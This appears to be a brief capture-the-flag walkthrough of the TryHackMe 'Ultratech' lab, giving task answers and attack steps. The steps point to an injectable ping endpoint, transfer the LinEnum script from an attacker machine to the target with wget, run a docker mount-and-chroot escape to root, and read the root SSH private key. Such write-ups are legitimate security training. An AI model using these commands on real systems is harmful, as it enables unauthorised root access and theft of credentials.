TryHackMe - Ultratech
Nmap
WFuzz on port 8081
Task 2
Which software is using the port 8081?
Node.js
Which other non-standard port is used?
31331
Which software using this port?
Apache
Which GNU/Linux distribution seems to be used?
Ubuntu
The software using the port 8081 is a REST api, how many of its routes are used by the web application? (response is found using wfuzz)
2
Task 3
We can do the same for the admin password
Questions
There is a database lying around, what is its filename?
utech.db.sqlite
What is the first user's password hash? I will let you find it on your own
About port 31331 - alternative way to foothold
This way we discover the ping endpoint
http://${getAPIURL()}/ping?ip=${window.location.hostname}
Task 4 - Privesc
Let's enumerate our ways to privesc with linenum
We take it in our attacking machine
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh/
We serve it to our target with python server
python3 -m http.server 80
We get it to our target
wget http://10.13.22.56/LinEnum.sh
Let's have a look at gtfobins and search for docker, we find this(https://gtfobins.github.io/gtfobins/docker/) and we have an interesting command
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
except instead of alpine we want to use bashLet's take the chars of the root ssh key as requested in the question
cat /root/.ssh/id_rsa
Last updated